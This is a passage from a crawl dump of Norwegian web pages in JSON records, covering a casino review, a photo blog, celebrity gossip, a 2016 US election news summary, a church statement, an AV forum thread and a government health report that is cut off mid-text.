kj\u00f8rt, kan du lett finne i deres kampanje kalender.\n\n\u00a0\n## Leverand\u00f8rer av spill\n\nHos Bob Casino finnes det forel\u00f8pig 15 leverand\u00f8rer av spill. De st\u00f8rste og mest kjente er Netent, EGT og Amatic. Du skal spille lenge f\u00f8r du kommer gjennom alle spilleautomatene her. Det er ogs\u00e5 et stort utvalg av jackpot-automater, faktisk over 100 forskjellige\\!\n\nEllers tilbyr de jo ogs\u00e5 spill som live casino, videopoker, diverse bordspill og enda mer.\n\n\u00a0\n## Innskudd/uttak\n\nAlle de mest popul\u00e6re metodene som brukes for innskudd og uttak i Norge, er tilgjengelige hos Casino Bob.\n\nInnskuddsmetoder: Visa, mastercard, paysafecard, skrill, neteller, wire transfer, bitcoin, QIWI, comepay, trustly og zimpler.\n\nUttaksmetoder: Visa, mastercard, skrill, neteller, wire transfer, bitcoin og comepay.\n\nUttakene blir behandler veldig kjapt, som oftest etter bare noen f\u00e5 minutter (\\!).\n\n\u00a0\n## Oppsummering\n\nBob Casino er et bra casino for norske spillere, det er det ingen tvil om. De setter alltid kunden f\u00f8rst og er alltid tilgjengelige p\u00e5 live chat for \u00e5 hjelpe deg 24/7. S\u00e5 du vil aldri sitte fast med et problem lenge.\n\nDette casinoet kan vi absolutt anbefale at du tester.\n\nStikk innom BobCasino i dag og sjekk selv\\!\n\n\u00a0\n", "language": "no", "__index_level_0__": "40d2496d-4f1e-4201-ad28-b907ef1d93f6"}
{"url": "http://fyrileivfoto.blogspot.com/2012/07/alaskasand.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:35:05Z", "text": "\n## tirsdag 24. juli 2012\n\n### ALASKASAND\n\n\u00a0  \n\n\n  \nDet er ikke bare bj\u00f8rn, \u00f8rn, fjell og fine fascinerende folk i Alaska\\!\u00a0\n\n  \nVi var p\u00e5 fisketur ved Larsen Creek i Talkeetna River da jeg kom over disse mesterverkene. Dette er alts\u00e5 ikke skapt av havet, men av ei kraftig b(e)rusende breelv. Er ikke det fint\\!? Til \u00e5 bli glad av.\n\n  \n\n  \n Lagt inn av Ingebj\u00f8rg Fyrileiv Guldvik   kl. 22:21          \n\n#### 6 kommentarer:\n\n1.  \n    \n    Mats Andersson25. juli 2012 kl. 06:41\n    \n    Underbart vackra bilder\\! Vilket \u00e4ventyr du \u00e4r p\u00e5 igen :)\n    \n2.  \n    \n    peterjonsson25. juli 2012 kl. 18:56\n    \n    Verkligen l\u00e4ckra bilder det h\u00e4r :)  \n      \n    /PJ\n    \n3.  \n    \n    Ingebj\u00f8rg Fyrileiv Guldvik25. juli 2012 kl. 22:07\n    \n    Takktakk\\! Eventyret varte i seks uker, og jeg v\u00e5knet akkurat opp fra den fantastisk dr\u00f8mmen. -Plutselig var jeg hjemme igjen gitt\\! Men det er ganske eventyrlig her ogs\u00e5 ;-)  \n      \n    Ha en god kveld\\!\n    \n4.  \n    \n    Gunnar H.26. juli 2012 kl. 23:19\n    \n    SANDelig flott\\! Alaska er tydeligvis rik p\u00e5 opplevelser b\u00e5de p\u00e5 land og vann :)\n    \n5.  \n    \n    Tom Dyring29. juli 2012 kl. 10:02\n    \n    Nydelig \\!\\! Typisk deg \u00e5 se slike motiv\n    \n6.  \n    \n    Ingebj\u00f8rg Fyrileiv Guldvik3. august 2012 kl. 00:59\n    \n    Tusen takk, Gunnar og Tom\\!  \n      \n    Jeg liker ikke \u00e5 v\u00e6re typisk. Men la g\u00e5r, for denne gang ;) Takk\\!\n    \n\n## Om meg:\n\n  - Kai Jensen\n    \n", "language": "no", "__index_level_0__": "40c42b94-b6ee-4566-831f-15669122359e"}
{"url": "https://www.seher.no/kjendis/du-trenger-hoyere-haeler/64690614", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:42:00Z", "text": "\n\n## \\- Du trenger h\u00f8yere h\u00e6ler\\!\n\nKylies franske kj\u00e6reste t\u00e5rner over henne...\n\n9\\. juli 2010 kl. 19.03\n\n  Ida Beate Klokk  \n\nSEHER.NO: Selv om Kylie Minogue (43) er en pitteliten popstjerne med bare 155 centimeter p\u00e5 sokkelesten, s\u00e5 ser hun helst at sine menn er h\u00f8ye og m\u00f8rke.  \n  \n**Hennes n\u00e5v\u00e6rende kj\u00e6reste Andres Velencoso (32) er intet unntak. Lille Kylie ser enda mindre ut ved siden av sin 188 centimeter h\u00f8ye spanske kj\u00e6reste. Sangerinnen trenger definitivt h\u00f8yere h\u00e6ler, skriver Daily Mail.**  \n  \n\\- Andres er mye h\u00f8yere enn meg. Men heldigvis, s\u00e5 spiller det ingen rolle n\u00e5r vi ligger, sier Minogue til The Sun.  \n  \nKylie og Andres - som arbeider som undert\u00f8ysmodell, ble fotografert da de ankom en flyplass i Paris i g\u00e5r kveld. De hadde reist direkte fra fest\u00f8yen Ibiza, hvor sangerinnen nylig lanserte sitt 11 album \u00abAphrodite\u00bb. De er n\u00e5 i Frankrike for \u00e5 fortsette promoteringen.  \n  \nParets forhold ser ut til \u00e5 fortsatt v\u00e6re sv\u00e6rt sterkt, ettersom paret hyppig delte kj\u00e6rlige \u00f8yeblikk da de vandret gjennom folkemengden - en klem her, et kyss der.  \n  \nKylie ble tante igjen denne uken, da hennes s\u00f8ster Dannii (38), og hennes kj\u00e6reste Kris Smith (32), ble foreldre til sitt f\u00f8rste barn, Ethan.  \n  \n*Vi bel\u00f8nner gode kjendistips. Tips oss p\u00e5 firstname.lastname@example.org, ring v\u00e5r tipstelefon 93076767 eller send sms/mms med kodeord SEHERTIPS til 1901.*  \n  \n# \\- Du f\u00e5r litt \u00abnoia\u00bb\n# Slik svarte filmstjernen p\u00e5 gravid-sp\u00f8rsm\u00e5let\n\n", "language": "no", "__index_level_0__": "df41e2c9-a289-4083-ae55-67236cd839cc"}
{"url": "https://www.nrk.no/nyheter/dette-skjedde-i-natt-1.13216386", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:41:24Z", "text": "  Publisert  08.11.2016, kl. 06.05 \n\n## Nattens valginnspurt\n\nDonald Trump spilte igjen p\u00e5 sitt utenforskap og kampen mot det best\u00e5ende da han avrundet valgkampen. Til sine tilhengere i vippestaten Grand Rapdis i Michigan, gjentok Trump at han er stolt av at han ikke er noen politiker og sa det er p\u00e5 tide \u00e5 kjempe for USA.\n\nSamtidig samlet Clinton over dobbelt s\u00e5 mange tilh\u00f8rere som hennes gamle publikumsrekord p\u00e5 18.500. Rundt 40.000 m\u00f8tte opp i vippestaten Pennsylvania.\n\n## Stor sjanse for Clinton-seier\n\nHillary Clinton har 90 prosent sjanse til \u00e5 vinne presidentvalget i USA, if\u00f8lge en beregning gjort av Reuters og Ipsos. New York Times og Upshot har beregnet sannsynligheten til 84 prosent.\n\nDet eneste som kan vippe utfallet over i Trumps fav\u00f8r er if\u00f8lge Reuters en lite sannsynlig kombinasjon av valgdeltakelse blant hvite, svarte og velgere med latinamerikansk bakgrunn i seks eller sju stater.\n\nLes mer om presidentvalget\n## F\u00e6rre flyktninger enn ventet\n\nKampen for \u00e5 gjenerobre den irakiske storbyen Mosul fra IS har s\u00e5 langt ikke utl\u00f8st en s\u00e5 stor flyktningstr\u00f8m som ventet. Men det er viktig \u00e5 huske at de irakiske styrkene enn\u00e5 ikke er kommet fram til de mest befolkede omr\u00e5dene, opplyser en amerikansk tjenestemann til flere medier.\n\nI verste fall kan s\u00e5 mange som 1 million mennesker flykte fra Mosul, og FN og flere hjelpeorganisasjoner advarer om en humanit\u00e6r katastrofe. Irakiske styrker og allierte innledet en offensiv mot Mosul 17. oktober. Siden da har dr\u00f8yt 33.000 mennesker v\u00e6rt p\u00e5 flukt.\n\nLes mer om kampene i Mosul\n\n  Publisert  08.11.2016, kl. 06.05 \n\n## Parkland-elev: \u2013 Nok er nok\n\n", "language": "no", "__index_level_0__": "dc5f355c-9ec5-48c8-bf69-443afc594c57"}
{"url": "http://groruddalen.no/kultur/granstangens-lovenes-konge/19.17197", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:03:45Z", "text": "## \u00abL\u00f8venes Konge\u00bb  \np\u00e5 Granstangen\n\n\n\nPERFEKT TEMA: Kawtar Rahali (14), l\u00e6rer Sara Helena Br\u00e5then p\u00e5 sal og scene og Anna Thanh Nguyen (14) er alle veldig forn\u00f8yde med gjennomf\u00f8ringen av forestillingen om \u00abL\u00f8venes Konge\u00bb.\n\nElevene fra sal og scene p\u00e5 9. trinn s\u00f8rget for at \u00abSimba\u00bb og \u00abMufasa\u00bb inntok Granstangen skole da de tok for seg \u00abL\u00f8venes Konge\u00bb p\u00e5 skolens egen teaterfestival.\n\n", "language": "no", "__index_level_0__": "5930fe10-3f82-430b-9d45-9e6522311d97"}
{"url": "http://blogg.tinekatrine.com/2017/10/sondagstanker-uke-38-39/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:48:28Z", "text": "# S\u00f8ndagstanker uke 38-39\n\noktober 1, 2017\n\nby tine katrine\n\n\n\nOg s\u00e5 var det br\u00e5tt to uker siden sist, b\u00e5de siden forrige s\u00f8ndagstanker og siden jeg blogget. Det har v\u00e6rt to hektiske uker med andre ord. En uke f\u00f8r loppemarkedet, og en uke etter. Som jeg nevnte i forrige s\u00f8ndagstanker, s\u00e5 hadde jeg nettopp hatt en ganske travel uke. S\u00e5 uken etter der ble jeg d\u00e5rlig og m\u00e5tte bare slappe av. Samle energi til torsdagen, for da var det et loppemarked-m\u00f8te, hvor vi sorterte alle kl\u00e6rne vi hadde f\u00e5tt inn.\n\n\n\nDet var helt ekstremt mye kl\u00e6r, og vi burde nok ha sortert ut flere av de mindre fine kl\u00e6rne. Vi solgte en del kl\u00e6r p\u00e5 loppemarkedet, men det var mye igjen da det var stengt. S\u00e5 da vet vi det til neste gang\\! Kanskje vi arrangerer et nytt loppemarked til v\u00e5ren? Tiden vil vise.\n\n\n\nTilbake til torsdagen; Hanne og Peter sin leilighet er s\u00e5\u00e5 fin\\! H\u00e5per v\u00e5r leilighet kan se like flott ut den dag.\n\n\n\nFor den torsdagen, mens jeg l\u00e5 i senga og samlet energi, s\u00e5 hadde jeg en oppgave jeg m\u00e5tte gj\u00f8re: g\u00e5 gjennom mine egne kl\u00e6r. Det skal jeg skrive mer om senere, men kort fortalt s\u00e5 har jeg aldri v\u00e6rt flink til \u00e5 kaste kl\u00e6r, s\u00e5 jeg har spart p\u00e5 mye helt tilbake til ungdomstiden. Det var alts\u00e5 en god del \u00e5 g\u00e5 gjennom i alle skap og boder, men jeg klarte det\\! Bare se p\u00e5 en haugen da\\!\n\n\n\nEtter torsdagen hadde jeg et nytt m\u00e5l \u2013 bake kaker\\! I tillegg til \u00e5 selge kl\u00e6r skulle vi selge veganske kaker, s\u00e5 da var det bare \u00e5 komme seg p\u00e5 kj\u00f8kkenet. Problemet var at jeg var sengeliggende, men heldigvis fikk Paul fri fra jobben og kunne hjelpe. S\u00e5 hele l\u00f8rdagen bakte vi, hele 7 kaker\\!\n\n\n\nSitronkake, Bl\u00e5b\u00e6rkake, Gulrotkake og Vaniljekake. Enkle kaker med billlige ingredienser, og de tre siste var veldig popul\u00e6re. Alt ble solgt bortsett fra den ene sitronkaka. Folk gikk glipp av noe der alts\u00e5, sitronkake er jo s\u00e5 godt\\! Men den s\u00e5 kanskje litt kjedelig ut sammenlignet med de andre.\n\n\n\nLoppemarkedet gikk alts\u00e5 helt supert\\! Det kom mye folk, men ikke s\u00e5 mye at det ble stress, og vi solgte masse. Alle loddene ble utsolgt, og en av premiene ser dere p\u00e5 toppen her\\! Kake av Topped Sweetness, som lager veganske kaker som ser helt fantastiske ut. Lush, Vegetarbloggen, Veganmisjonen og\u00a0Sven Undheim Metallarbeid donerte ogs\u00e5 premier.\n\n\n\nSelv om formen var litt bedre p\u00e5 s\u00f8ndagen, s\u00e5 ble jeg veldig d\u00e5rlig av \u00e5 jobbe i nesten 12 timer i strekk. Alts\u00e5, jeg tok jo pauser og s\u00e5nt, men dere forst\u00e5r hva jeg mener. S\u00e5 p\u00e5 mandag l\u00e5 jeg rett ut i senga, og der l\u00e5 jeg i fire dager. Spilte Zelda p\u00e5 min nye Nintendo og s\u00e5 p\u00e5 siste sesongen av Parks and Recreations.\n\n\n\nP\u00e5 fredag var det skole igjen \u2013 noe jeg hadde glemt helt vekk uken f\u00f8r. Var s\u00e5 d\u00e5rlig at hukommelsen sviktet helt, ops. N\u00e5 fikk jeg iallfall tilbake pr\u00f8ven jeg snakket om sist, og jeg fikk 5+\\! Hurra\\! Ogs\u00e5 har jeg f\u00e5tt nye sko, som dere ser p\u00e5 det super klisj\u00e9 h\u00f8st-bildet over. *De er fra her.* *Svindyre, men holder forh\u00e5pentligvis en god stund, s\u00e5 s\u00e5 langt er jeg veldig forn\u00f8yd.\u00a0*\n\n\n\nEtter skolen dro jeg til Fredrikstad for \u00e5 bes\u00f8ke Serena i en uke. Vi skal bare slappe helt av og spille tv-spill, s\u00e5 det ser jeg frem til. Blir sikkert tid til litt blogging innimellom, jeg har jo som alltid en lang liste med ting jeg vil skrive om. Enn s\u00e5 lenge kan dere jo sjekke ut Snapkollektivet, hvor jeg er i dag (S\u00f8ndag) og som jeg har blogget for denne uken.\n\n  - Roald Thunes Karlsen\n    \n    De kakene s\u00e5 skummelt gode ut. Jeg har ogs\u00e5 en jobb \u00e5 gj\u00f8re med \u00e5 kaste kl\u00e6r, jeg vet ikke om jeg har kvittet meg med noe som helst siden VGS\u2026\n\n", "language": "no", "__index_level_0__": "38cf69bb-f3c7-440e-ad3c-04ed46e35179"}
{"url": "https://www.ka.no/sak/article/1440589", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:11Z", "text": "# Folkekirken m\u00e5 forankres i soknet, folkekirken er lokal og n\u00e6r.\n\n\n\nPublisert: 15/11/2017\n\nLandskonferansen for kirkeverger har v\u00e6rt avholdt i Trondheim. Nesten 200 kirkeverger stiller seg bak f\u00f8lgende uttalelse.\n\n190 kirkeverger og lokalkirkelige ledere i Den norske kirke har v\u00e6rt samlet til nasjonal kirkevergekonferanse i Trondheim 13.-15. november 2017. Med bakgrunn i v\u00e5r profesjon, erfaring og kompetanse som lokale kirkeledere med et helhetlig lederansvar vil vi i anledning Kulturdepartementets h\u00f8ring om ny lov for tros- og livssynssamfunn fremme f\u00f8lgende synspunkt:\n\nDen norske kirke m\u00e5 fortsatt v\u00e6re en lokal aktiv og levende folkekirke. Som ledere bidrar vi til at kirkens tradisjoner og kulturminner lokalt f\u00f8res videre, og at det skapes engasjement og gode arenaer for den lokale menighet. Vi er derfor glade for at lovforslaget bekrefter en st\u00f8ttende tros- og religionspolitikk med et offentlig ansvar for \u00e5 videref\u00f8re Den norske kirke som en landsdekkende folkekirke med grunnlag i Grunnlovens \u00a7 16. Vi st\u00f8tter \u00f8nsket om \u00e5 redusere den statlige styringen av Den norske kirke. Vi er opptatt av at utvikling m\u00e5 skje p\u00e5 en m\u00e5te som bidrar til \u00e5 holde fast p\u00e5 kirkens lokale tilh\u00f8righet og den tilknytningen til det lokalsamfunnet som kirken er en del av. Vi st\u00f8tter fortsatt lokal kirkelig gravplassforvaltning.\n\nDagens kirkeordning har soknets selvstendighet som basis og det lokale niv\u00e5et som sitt styringsmessige tyngdepunkt. Med bakgrunn i v\u00e5re erfaringer er vi derfor kritiske til flere av forslagene i Regjeringens h\u00f8ringsnotat. Vi mener de kan svekke den lokale forankringen for en selvstendig folkekirke. Vi vil her s\u00e6rlig peke p\u00e5 f\u00f8lgende forhold:\n\n1.  Lovforslaget legger ingen oppgaver eller ansvar til soknets organer som samsvarer med dagens \u00a7\u00a7 9 og 14. All myndighet til \u00e5 fordele oppgaver til soknets organer legges til Kirkem\u00f8tet. Vi mener dette skaper en ubalanse mellom soknets selvstendighet og Kirkem\u00f8te som overordnet organ for hele Den norske kirke.\n2.  Ordningen med kommunal finansiering av det lokalkirkelige arbeid b\u00f8r videref\u00f8res fordi denne ordningen bidrar til \u00e5 sikre den historiske n\u00e6rheten mellom kirke og lokalsamfunn og en lokalt forankret kirkeorganisasjon.\n3.  Ordningen med at soknet har to organer har bred st\u00f8tte b\u00e5de blant menighetsr\u00e5dene og i Kirkem\u00f8tet. Etableringen av kirkelig fellesr\u00e5d med tydelig juridisk handleevne har v\u00e6rt avgj\u00f8rende for \u00e5 sikre en profesjonell forvaltning av kirkens personell, \u00f8konomiske ressurser og eiendom. En tydelig lovhjemmel for at soknene kan ha et felles styringsorgan p\u00e5 kommuneniv\u00e5 gir trygghet for at soknenes organer i fellesskap kan p\u00e5ta seg et helhetlig lokalkirkelig virksomhetsansvar, herunder et helhetlig arbeidsgiveransvar og et offentlig forvaltningsansvar for kirkebygg og gravplasser.\n4.  Lovforslagets begrensede omtale av statens og kommunenes finansielle ansvar for Den norske kirke kan i virkeligheten legge grunnlaget for redusert offentlig innsats og dermed en nedbygging av dagens kirkelige tilbud. Vi mener dette er uheldig. Statens b\u00f8r bekrefte sitt ansvar for trosoppl\u00e6ring p\u00e5 linje med prestetjenesten, og kommunenes ansvar m\u00e5 utformes mer i tr\u00e5d med de form\u00e5l som vi finner i dagens \u00a7 15 i kirkeloven.\u00a0\n5.  H\u00f8ringsnotatet omtaler kirkene b\u00e5de ut fra eierskap, forvaltning og \u00f8konomi og fastholder at soknet \u00abeier\u00bb kirken. Vi mener dette underbygger sammenhengen mellom lokal styring og eierskap og n\u00f8dvendigheten av et fellesr\u00e5d som lokalt felles forvaltningsorgan. Lovforslaget overlater imidlertid til Kirkem\u00f8tet \u00e5 bestemme alle forhold knyttet til forvaltning av bygget. Etter v\u00e5r oppfatning svekker dette grunnlaget for et lokalt eierskap, og kan ligge til rette for en mer sentralisert kirkebyggforvaltning.\u00a0\n6.  Vi mener ogs\u00e5 at staten m\u00e5 ta et tydelig ansvar for \u00e5 bidra til sikring og vedlikehold av kirkebygg med store kulturminneverdier.\u00a0\n7.  En s\u00e6rlig mangel ved h\u00f8ringsnotatet er at det ikke belyser de arbeidsrettslige konsekvenser for kirkens ca. 5000 tilsatte som i dag har kirkelig fellesr\u00e5d i flersoknskommuner som arbeidsgiver dersom kirkelig fellesr\u00e5d sin rettslige status endres.\n\nMed bakgrunn i ovennevnte mener vi at en forenkling av dagens kirkelovgivning m\u00e5 sikre at flere av hovedtrekkene ved dagens lokalkirkelige organisering videref\u00f8res. Etter v\u00e5r vurdering endrer lovforslaget vesentlige trekk ved Den norske kirke p\u00e5 en m\u00e5te som svekker soknet som kirkens grunnleggende enhet og sted for dens virksomhet. Vi mener ogs\u00e5 at s\u00e5 vesentlige endringer i kirkens organisasjon ikke kan vedtas uten etter bedre konsekvensvurderinger og bred involvering fra soknets organer.\n\n", "language": "no", "__index_level_0__": "1a3bff41-95f0-4fdf-8894-b75c2b16af51"}
{"url": "http://avforum.no/forum/receivere-forsterkere/135400-offisiell-tr-dolby-atmos-7.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:45:12Z", "text": "    >  Opprinnelig postet av **Jan B** \n    > Vel, n\u00e5 er Hunger Games mocking jay i posten, og Gravity rundt hj\u00f8rnet, og mere etter det, s\u00e5 blir moro utover.\n    > \n    > Det er vel bare \u00e5 krype til korset \u00e5 kj\u00f8pe de i sone A, men tenkte \u00e5 vente p\u00e5 Hunger-boksen.  De kommer sikkert \"bare\" med HD i Norge uansett. Har et lite h\u00e5p om at atmos-filmene blir \u00e5 f\u00e5 tak i fra UK eller D med etter hvert. Jeg har Metallica - Through the never med atmos p\u00e5 gang fra D. Kommer vel i l\u00f8pet av april. \n    \n    -----\n\n5.   03-21-2015,\u00a016:18   \\#124 \n    \n    Jan B\n    \n     Intermediate  \n    \n    > Har du ikke Unbroken enda??  Den hadde en del artige flyscener som virkelig gjorde seg med takh\u00f8yttalere, for \u00f8vrig ogs\u00e5 en bra film.  \n    >   \n    > Eneste minus var at jeg etter \u00e5 ha sett den begynner \u00e5 lure om de fremre takh\u00f8yttalerne mine er for langt bak i rommet, tror de med fordel kunne v\u00e6rt lengre fremme hos meg \n    \n    -----\n\n9.   03-25-2015,\u00a017:09   \\#127 \n    \n    Jan B\n    \n    >  Opprinnelig postet av **Gurba** \n    > Har du link til I, Frankenstein? Jeg har funnet den i USA, men det st\u00e5r ikke noe om atmos s\u00e5 jeg har ikke tatt sjansen p\u00e5 \u00e5 bestille.\n    > \n    > Er kun japan utgaven som har Atmos   \n    >   \n    > I, Frankenstein Blu-ray (Japan)  \n    >   \n    > Men de har seff engelsk lyd \u00e5 tekst, og alle regioner.  \n    >   \n    > Vil anbefale Transendence og evt Enchanted Kingdom, begge disse \u00e5ss\u00e5 kun i Atmos fra japan, i samme slengen, Blir ikke s\u00e5 dyr pr disc da   \n    >   \n    > Og alle tre er meget bra. B\u00e5de som film og som Atmos   \n    > Includes Dolby Atmos \u2013 Dolby Atmos is a revolutionary new audio technology that transports you into extraordinary entertainment experience. With Dolby Atmos enabled receivers and speaker configurations, sound comes from all directions, including overhead, to create an immersive experience with clarity, richness, detail, and depth. With existing home theater systems, you will get a great surround sound experience.\n    \n    -----\n\n17.  03-30-2015,\u00a017:14   \\#133 \n    \n    > Kj\u00f8pte Gravity fra amazon.de. Billigere og raskere enn \u00e5 kj\u00f8pe fra USA. Egentlig pris er \u20ac10.92 i kassa (uten porto), siden de trekker fra skatten.  \n    > Ser at det er mulig \u00e5 f\u00e5 tak i John Wick med Atmos fra Nederland, men har ikke funnet noen butikker der som sender til Norge. :-/\n    \n    -----\n\n20.  03-31-2015,\u00a021:12   \\#136 \n    \n    Gurba\n    \n\n24.  04-05-2015,\u00a021:12   \\#139 \n    \n    > Har nettopp kj\u00f8pt meg Atmos receiver og har begynt og se etter h\u00f8yttalere til det. Er det noen som har erfaring med Atmos enabled h\u00f8yttalere? Slike som onkyo skh-410. Vurdere de for og gj\u00f8re det enklest mulig.\n    > Det er veldig f\u00e5 som skryter av de, men noen er det som bruker slike. Tror ikke Onkyo's er de beste.\n    \n    -----\n\n25.  04-06-2015,\u00a003:47   \\#140 \n    \n", "language": "no", "__index_level_0__": "ac434502-b0aa-4f24-9e0a-f9900f2aeee9"}
{"url": "http://halden-karateklubb.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:02:02Z", "text": "## Gradering h\u00f8sten 2016 - l\u00f8rdag 3. desember for alle medlemmer\n\nDa er det snart tid for gradering. Den vil v\u00e6re l\u00f8rdag 3. desember 2016 i gymsalen p\u00e5 Os skole. Vi arrangerer en oppsamlingsgradering etter jul for de som ikke har mulighet til \u00e5 komme den 3. desember. Vi tar ogs\u00e5 juleferie etter graderingen.\n\nMed grasrotandelen kan du st\u00f8tte Halden Karateklubb hver gang du spiller uten at det koster deg noe ekstra\\! Du kan n\u00e5 velge deg et lag eller en forening som f\u00e5r dem prosent av din spillinnsats, uten at innsatsen eller vinnersjansene reduseres.\n\nDet finnes flere m\u00e5ter du kan tilknytte din grasrotmottager p\u00e5. Enten hos kommisjon\u00e6ren, via mobilspill og sms eller ved \u00e5 tilknytte deg p\u00e5 internett.\n\n-----\n\nHalden Karateklubb er medlem av Wado Ryu Norge, Norges Kampsportforbund  \nog Norges Idrettsforbund og Olympiske Komit\u00e9.\n\n", "language": "no", "__index_level_0__": "a49424f4-9663-4159-ae3b-605e2cc26590"}
{"url": "https://www.regjeringen.no/no/tema/helse-og-omsorg/innsikt/internasjonalt-helsesamarbeid/internasjonalt_helsearbeid/rapport-fra-helse--og-mattrygghetsraden-/id697513/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:51:04Z", "text": "Artikkel | Sist oppdatert: 14.08.2012  | Helse- og omsorgsdepartementet \n\nHelse- og mattrygghetsr\u00e5d Heidi Langaas rapporterer om aktuelle saker p\u00e5 helse-og mattrygghetsomr\u00e5det for perioden mars-juli 2012.\n\n\n\n#   \n## Helsepolitiske prioriteringer under det danske formannskapet v\u00e5ren 2012\n\n\u00a0\nP\u00e5 helsefeltet arbeidet danskene med flere store saker som ble behandlet i R\u00e5det og Parlamentet v\u00e5ren 2012:  \n\u2022\u00a0EUs nye helseprogram \"Health for Growth\"  \n\u2022\u00a0\"Health Security Initiative \" - Kommisjonens forslag til \u00f8kt beredskap mot helsetrusler  \n\u2022\u00a0forslag til direktiv om raskere innf\u00f8ring av nye legemidler i markedet\u00a0  \n\u2022\u00a0revisjon av direktivet om gjensidig godkjenning av yrkeskvalifikasjoner\n\n  \nSom egne prioriteringer valgte danskene  \n\u2022\u00a0\"Smart Health \u2013 Better Lives\" \u2013 agenda for \u00e5 fremme innovasjon i helsesektoren  \n\u2022\u00a0Antibiotikaresistens  \n\u2022\u00a0Kroniske sykdommer\n\nNorge deltok p\u00e5 uformelt helseministerm\u00f8te 23.-24.april v/statsr\u00e5d Anne-Grethe Str\u00f8m-Erichsen.\u00a0 Danskene arrangerte en stor konferanse om eHelse 7.mai, med sterk norsk deltakelse.\n\n\u00a0\n## Helsepolitiske prioriteringer under det kypriotiske formannskapet h\u00f8sten 2012\n\n\u00a0\nKypros vil fortsette diskusjonen av forslag til nytt helseprogram \u00abHealth for Growth\u00bb 2014-2020.\u00a0 Diskusjonen om programmet p\u00e5g\u00e5r i r\u00e5dsarbeidsgruppen og Parlamentet, og Kypros h\u00e5per \u00e5 f\u00e5 bragt debatten fram til konklusjon i desember 2012.\n\nDe vil ogs\u00e5 ta videre forslaget fra Kommisjonen om \u00f8kt beredskap mot helsetrusler \u2013 det s\u00e5kalte \u00abHealth Security Initiative\u00bb.\u00a0 Forslaget vil bli viderebehandlet i R\u00e5det og Parlamentet utover h\u00f8sten, og byr p\u00e5 mange forslag som det ventes delte oppfatninger av b\u00e5de mellom medlemslandene og mellom R\u00e5det og Parlamentet.\u00a0\n\nDet st\u00e5r ogs\u00e5 til Kypros \u00e5 legge fram en midtveisevaluering av handlingsplanen for organtransplantasjon som ble iverksatt med implementeringen av det nye direktivet om organdonasjon i 2010.\u00a0 Saken ble debattert under det uformelle helseministerm\u00f8tet p\u00e5 Kypros 10.-11. juli.\n\nP\u00e5 legemiddelomr\u00e5det vil Kypros drive videre p\u00e5g\u00e5ende prosesser som b\u00e5de knytter seg til ny og revidert lovgivning og handlingsplan for medisinsk utstyr \u2013 se eget avsnitt under.\n\nP\u00e5 matomr\u00e5det vil Kypros gjerne drive fram forslaget til nye regler om mat til barn og mat for mennesker med spesielle helse- eller ern\u00e6ringsbehov.\u00a0 Forslaget tar sikte p\u00e5 \u00e5 erstatte, klargj\u00f8re og forenkle eksisterende regelverk om mat for konsumenter med spesielle helsemessige behov. Saken diskuteres n\u00e5 i R\u00e5det, og Kypros \u00f8nsker \u00e5 f\u00e5 den til avstemning i Parlamentet i l\u00f8pet av h\u00f8sten.\n\nAv egne saker har Kypros valgt:  \n\u2022\u00a0Bedre samarbeid og kapasitetsbygging om bekjempelse av smittsomme sykdommer over landegrensene.\u00a0 Med bakgrunn i erfaringene under pandemien H1N1 i 2009 og 2010 mener kypriotene det er n\u00f8dvendig \u00e5 styrke samarbeidsmekanismene b\u00e5de innad i EU og overfor andre land.\u00a0  \n\u2022\u00a0\u00abHealthy Ageing\u00bb :\u00a0 Kypros sier den \u00f8konomiske krisen og endringene i alderssammensetning gj\u00f8r det tvingende n\u00f8dvendig \u00e5 revurdere tjenesteytingen innen helsesektoren og investere i nye organisasjonsmodeller som kan redusere kostnads\u00f8kningen i sektoren.\u00a0 Kypros vil bidra til erfaringsutveksling om hvordan tidlig diagnostisering og forebygging kan bidra til \u00e5 realisere dette. De vil arrangere en h\u00f8yniv\u00e5konferanse om Healthy Ageing p\u00e5 Kypros 5.-6.september som skal danne grunnlag for r\u00e5dsanbefalinger Kypros \u00f8nsker \u00e5 legge fram for r\u00e5dsm\u00f8tet i desember.  \n\u2022\u00a0Innovasjon i helsesektoren m\u00e5 drives videre, og Kypros vil inkludere innovasjon i alle sine programmer og initiativ under formannskapet.  \n\u2022\u00a0R\u00e5dsanbefalinger om organdonasjon vil bli foresl\u00e5tt for r\u00e5dsm\u00f8tet i desember som del av midtveisevalueringen av handlingsplanen for organdonasjon.\n\nUformelt helseministerm\u00f8te ble avviklet p\u00e5 Kypros allerede 10.-11. juli.\u00a0 Statsr\u00e5d Anne-Grete Str\u00f8m-Erichsen deltok fra Norge og hadde innlegg bl.a. om norske erfaringer med organdonasjon og \u2013transplantasjon.\n\n\u00a0\n## Legemidler\n\n\u00a0\n\nP\u00e5 legemiddelomr\u00e5det p\u00e5g\u00e5r flere regelverkssaker og initiativ:\n\n  - #### Forslag om ny forordning om kliniske fors\u00f8k til erstatning for det n\u00e5gjeldende direktivet om kliniske fors\u00f8k (Directive 2001/20/EC on Clinical Trials) ble framlagt av Kommisjonen i juli 2012.\u00a0\n\nForslaget skal snu den uheldige utviklingen i EU der omfanget av kliniske fors\u00f8k med mennesker har g\u00e5tt ned med 25% i perioden 